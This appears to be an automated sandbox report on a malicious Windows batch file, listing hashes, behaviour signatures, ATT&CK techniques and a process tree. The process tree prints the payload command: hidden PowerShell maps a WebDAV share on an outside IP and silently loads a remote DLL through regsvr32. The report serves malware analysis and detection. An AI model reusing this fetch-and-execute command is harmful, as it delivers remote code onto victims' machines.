9b13ab8217a4a958884598c9c244aec78535dcd524d692e8350c208de408e0fd

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 10:26

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General

Target

9845109302455514302.bat
Size

14KB
MD5

2e06492f783c5a5235548a19e403a7db
SHA1

b83c42f9652afaa2e0febb0d60ca83dedaa5b854
SHA256

9b13ab8217a4a958884598c9c244aec78535dcd524d692e8350c208de408e0fd
SHA512

e5d3553d90a9200f20e89083de95517ee10390dce7be666c4d74714f031dcb51462c1a2fbd6d150d034d911c7f0afdea2c2d09093c19cadb37fde89d9ad223e7
SSDEEP

384:1DGF9yFaXQsS+uwz74YbRn+AFAW/SDw5brzeB6GQ:1QKS6+ueFbR3Aiiw5bmoGQ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 2844	1732	cmd.exe	30
PID 1732 wrote to memory of 2844	1732	cmd.exe	30
PID 1732 wrote to memory of 2844	1732	cmd.exe	30
PID 1732 wrote to memory of 3056	1732	cmd.exe	31
PID 1732 wrote to memory of 3056	1732	cmd.exe	31
PID 1732 wrote to memory of 3056	1732	cmd.exe	31
PID 3056 wrote to memory of 2104	3056	powershell.exe	33
PID 3056 wrote to memory of 2104	3056	powershell.exe	33
PID 3056 wrote to memory of 2104	3056	powershell.exe	33
PID 3056 wrote to memory of 2796	3056	powershell.exe	34
PID 3056 wrote to memory of 2796	3056	powershell.exe	34
PID 3056 wrote to memory of 2796	3056	powershell.exe	34
PID 3056 wrote to memory of 2796	3056	powershell.exe	34
PID 3056 wrote to memory of 2796	3056	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\9845109302455514302.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2104
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
    3⤵
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1732-18-0x0000000001F10000-0x0000000002010000-memory.dmp

Filesize
1024KB

Download
memory/3056-23-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/3056-24-0x00000000006D0000-0x00000000006D8000-memory.dmp

Filesize
32KB

Download